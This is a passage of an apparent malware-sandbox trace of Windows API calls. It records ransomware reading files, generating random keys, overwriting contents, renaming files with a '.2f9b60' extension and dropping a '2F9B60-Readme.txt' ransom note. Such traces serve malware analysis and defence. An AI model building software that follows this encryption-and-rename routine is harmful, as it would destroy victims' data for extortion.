SourceString="48d1cd087e430bca7dfbb29c39ec3c706f1f3a3e00ad38375045d3aae1dc71d051f5e7b4", AllocateDestinationString=1 | out: DestinationString="48d1cd087e430bca7dfbb29c39ec3c706f1f3a3e00ad38375045d3aae1dc71d051f5e7b4") returned 0x0 [0200.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431e40c0 [0200.218] wcscat (in: _Dest=0x431ed7a0, _Source="48d1cd087e430bca7d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48d1cd087e430bca7d") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48d1cd087e430bca7d" [0200.218] wcscat (in: _Dest=0x431ed7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48d1cd087e430bca7d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48d1cd087e430bca7d.2f9b60" [0200.218] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48d1cd087e430bca7d.2f9b60", NtPathName=0x3300fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\48d1cd087e430bca7d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1ced0740 [0219.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0740) returned 1 [0219.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cc9210) returned 1 [0219.972] NtQueryInformationFile (in: FileHandle=0xc78, IoStatusBlock=0x3300fc78, FileInformation=0x3300fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3300fc78, FileInformation=0x3300fc88) returned 0x0 [0219.972] NtSetInformationFile (FileHandle=0xc78, IoStatusBlock=0x3300fc78, FileInformation=0x3300fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ed7a0) returned 1 [0222.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e40c0) returned 1 [0222.685] FlushFileBuffers (hFile=0xc78) returned 1 [0222.687] CloseHandle (hObject=0xc78) returned 1 [0223.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431f4f60 [0223.187] wcscpy (in: _Dest=0x431f4f60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0223.187] wcscat (in: _Dest=0x431f4f60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" [0223.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\2f9b60-readme.txt")) returned 0x20 [0223.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4f60) returned 1 [0223.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 Thread: id = 2583 os_tid = 0x20c8 [0155.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml")) returned 0x20 [0155.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML", dwFileAttributes=0x20) returned 1 [0155.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x158c [0155.959] GetFileSizeEx (in: hFile=0x158c, lpFileSize=0x1d4ef8c0 | out: lpFileSize=0x1d4ef8c0*=807) returned 1 [0155.959] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.959] ReadFile (in: hFile=0x158c, lpBuffer=0x1d4ef840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d4ef888, lpOverlapped=0x0 | out: lpBuffer=0x1d4ef840*, lpNumberOfBytesRead=0x1d4ef888*=0x4, lpOverlapped=0x0) returned 1 [0156.084] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcc0 [0156.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd50 [0156.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd80 [0156.084] NtQuerySystemTime (in: CurrentTime=0x1d4ef780 | out: CurrentTime=0x1d4ef780*=132462177612178000) returned 0x0 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x32f95bbe [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0xc89ba19 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x2f87aaa1 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x5e001a34 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x7bd8100a [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x7c293c4d [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x6141c179 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x558c37dd [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x1df7388b [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x2b8bfc25 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x1639dc31 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x3fc62b40 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x25a2dec4 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x3a89716b [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0xbc7ba16 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x440eb57b [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0xf141dea [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x5e4f8bbf [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x3d7451dd [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x52af99d7 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x4d78b15a [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x47f4ab7 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x2eedbb6 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x4737a04b [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x7db63a8c [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x3de9801 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x48423f23 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x5ad155d7 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x34d039f0 [0156.085] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x49d3b71d [0156.086] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x4d7e7c32 [0156.086] RtlRandomEx (in: Seed=0x1d4ef770 | out: Seed=0x1d4ef770) returned 0x79e6ff81 [0156.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbdb0 [0156.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24720 [0156.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbde0 [0156.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24720) returned 1 [0156.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd80) returned 1 [0156.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcc0) returned 1 [0156.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce189b0 [0156.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24720 [0156.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcc0 [0156.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcc0) returned 1 [0156.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429d7240 [0156.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429dae50 [0156.098] ReadFile (in: hFile=0x158c, lpBuffer=0x429d7240, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x1d4ef770, lpOverlapped=0x0 | out: lpBuffer=0x429d7240*, lpNumberOfBytesRead=0x1d4ef770*=0x327, lpOverlapped=0x0) returned 1 [0156.098] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.098] WriteFile (in: hFile=0x158c, lpBuffer=0x429dae50*, nNumberOfBytesToWrite=0x327, lpNumberOfBytesWritten=0x1d4ef774, lpOverlapped=0x0 | out: lpBuffer=0x429dae50*, lpNumberOfBytesWritten=0x1d4ef774*=0x327, lpOverlapped=0x0) returned 1 [0162.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19800 [0162.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197d0 [0162.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197d0) returned 1 [0162.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429dae50) returned 1 [0162.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429d7240) returned 1 [0162.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24720) returned 1 [0162.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce189b0) returned 1 [0162.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9efb0 [0162.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce189b0 [0162.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24720 [0162.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197d0 [0162.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197d0) returned 1 [0162.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f2f0 [0162.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197d0 [0162.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19830 [0162.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19830) returned 1 [0162.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24720) returned 1 [0162.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce189b0) returned 1 [0162.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c15ef0 [0162.909] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.909] WriteFile (in: hFile=0x158c, lpBuffer=0x42c15ef0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x1d4ef890, lpOverlapped=0x0 | out: lpBuffer=0x42c15ef0*, lpNumberOfBytesWritten=0x1d4ef890*=0x118, lpOverlapped=0x0) returned 1 [0164.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe70 [0164.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe70) returned 1 [0164.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cddbe70 [0164.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe40 [0164.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd80 [0164.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd80) returned 1 [0164.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86850 [0164.853] sprintf (in: _Dest=0x1cd86850, _Format="%c%c" | out: _Dest="bd") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86852, _Format="%c%c" | out: _Dest="66") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86854, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86856, _Format="%c%c" | out: _Dest="c7") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86858, _Format="%c%c" | out: _Dest="9e") returned 2 [0164.853] sprintf (in: _Dest=0x1cd8685a, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.853] sprintf (in: _Dest=0x1cd8685c, _Format="%c%c" | out: _Dest="94") returned 2 [0164.853] sprintf (in: _Dest=0x1cd8685e, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86860, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86862, _Format="%c%c" | out: _Dest="24") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86864, _Format="%c%c" | out: _Dest="a3") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86866, _Format="%c%c" | out: _Dest="fa") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86868, _Format="%c%c" | out: _Dest="52") returned 2 [0164.853] sprintf (in: _Dest=0x1cd8686a, _Format="%c%c" | out: _Dest="92") returned 2 [0164.853] sprintf (in: _Dest=0x1cd8686c, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.853] sprintf (in: _Dest=0x1cd8686e, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86870, _Format="%c%c" | out: _Dest="70") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86872, _Format="%c%c" | out: _Dest="b4") returned 2 [0164.853] sprintf (in: _Dest=0x1cd86874, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86876, _Format="%c%c" | out: _Dest="71") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86878, _Format="%c%c" | out: _Dest="4e") returned 2 [0164.854] sprintf (in: _Dest=0x1cd8687a, _Format="%c%c" | out: _Dest="22") returned 2 [0164.854] sprintf (in: _Dest=0x1cd8687c, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.854] sprintf (in: _Dest=0x1cd8687e, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86880, _Format="%c%c" | out: _Dest="dc") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86882, _Format="%c%c" | out: _Dest="91") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86884, _Format="%c%c" | out: _Dest="a4") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86886, _Format="%c%c" | out: _Dest="95") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86888, _Format="%c%c" | out: _Dest="45") returned 2 [0164.854] sprintf (in: _Dest=0x1cd8688a, _Format="%c%c" | out: _Dest="0e") returned 2 [0164.854] sprintf (in: _Dest=0x1cd8688c, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.854] sprintf (in: _Dest=0x1cd8688e, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86890, _Format="%c%c" | out: _Dest="41") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86892, _Format="%c%c" | out: _Dest="da") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86894, _Format="%c%c" | out: _Dest="13") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86896, _Format="%c%c" | out: _Dest="ba") returned 2 [0164.854] sprintf (in: _Dest=0x1cd86898, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.854] sprintf (in: _Dest=0x1cd8689a, _Format="%c%c" | out: _Dest="85") returned 2 [0164.854] RtlInitAnsiString (in: DestinationString=0x1d4ef908, SourceString="bd669dc79eee94d6ef24a3fa5292d64f70b45d714e22d95ddc91a495450e7bd941da13baf385" | out: DestinationString="bd669dc79eee94d6ef24a3fa5292d64f70b45d714e22d95ddc91a495450e7bd941da13baf385") [0164.854] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d4ef8d8, SourceString="bd669dc79eee94d6ef24a3fa5292d64f70b45d714e22d95ddc91a495450e7bd941da13baf385", AllocateDestinationString=1 | out: DestinationString="bd669dc79eee94d6ef24a3fa5292d64f70b45d714e22d95ddc91a495450e7bd941da13baf385") returned 0x0 [0164.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050bed0 [0164.855] RtlFreeAnsiString (AnsiString="b") [0164.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 [0164.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe70) returned 1 [0164.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe40) returned 1 [0164.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15ef0) returned 1 [0164.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f2f0) returned 1 [0164.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197d0) returned 1 [0164.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9efb0) returned 1 [0164.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19800) returned 1 [0164.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd50) returned 1 [0164.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbdb0) returned 1 [0164.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbde0) returned 1 [0164.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36510 [0164.858] wcscat (in: _Dest=0x42c36510, _Source="bd669dc79eee94d6ef2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\bd669dc79eee94d6ef2") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\bd669dc79eee94d6ef2" [0164.858] wcscat (in: _Dest=0x42c36510, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\bd669dc79eee94d6ef2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\bd669dc79eee94d6ef2.2f9b60" [0164.858] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\bd669dc79eee94d6ef2.2f9b60", NtPathName=0x1d4ef8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\bd669dc79eee94d6ef2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1ced03c0 [0165.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced03c0) returned 1 [0165.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33440) returned 1 [0165.293] NtQueryInformationFile (in: FileHandle=0x158c, IoStatusBlock=0x1d4ef918, FileInformation=0x1d4ef928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d4ef918, FileInformation=0x1d4ef928) returned 0x0 [0165.293] NtSetInformationFile (FileHandle=0x158c, IoStatusBlock=0x1d4ef918, FileInformation=0x1d4ef928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36510) returned 1 [0165.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bed0) returned 1 [0165.295] FlushFileBuffers (hFile=0x158c) returned 1 [0166.270] CloseHandle (hObject=0x158c) returned 1 [0183.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ad550 [0183.973] wcscpy (in: _Dest=0x202ad550, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0183.973] wcscat (in: _Dest=0x202ad550, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" [0183.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\2f9b60-readme.txt")) returned 0x20 [0218.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 [0218.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 Thread: id = 2584 os_tid = 0x20cc [0155.961] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\iqmsj-3n\\bfd-i74m_3aql.jpg")) returned 0x20 [0155.962] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg", dwFileAttributes=0x20) returned 1 [0155.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\iqmsj-3n\\bfd-i74m_3aql.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1590 [0155.964] GetFileSizeEx (in: hFile=0x1590, lpFileSize=0x3296f9c0 | out: lpFileSize=0x3296f9c0*=79797) returned 1 [0155.964] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x137b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.964] ReadFile (in: hFile=0x1590, lpBuffer=0x3296f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3296f988, lpOverlapped=0x0 | out: lpBuffer=0x3296f940*, lpNumberOfBytesRead=0x3296f988*=0x4, lpOverlapped=0x0) returned 1 [0155.965] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb870 [0155.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb900 [0155.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0155.966] NtQuerySystemTime (in: CurrentTime=0x3296f880 | out: CurrentTime=0x3296f880*=132462177610930000) returned 0x0 [0155.966] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x32866fd3 [0155.966] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x2d1deba4 [0155.966] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x7734fa7f [0155.966] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x16628f6b [0155.966] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x17cb023a [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x1fc65658 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x744b5127 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x69c2fbed [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0xda5d82a [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0xcc07aa8 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x2a113029 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x51c433cb [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x5986903b [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x1ca86031 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x5592c1af [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x286e8a87 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x5724f6d5 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x1f6b808c [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x6d11ea3a [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x5714d865 [0155.967] RtlRandomEx (in: Seed=0x3296f870 | out: Seed=0x3296f870) returned 0x3e7a2895 [0155.967] RtlRandomEx (in: 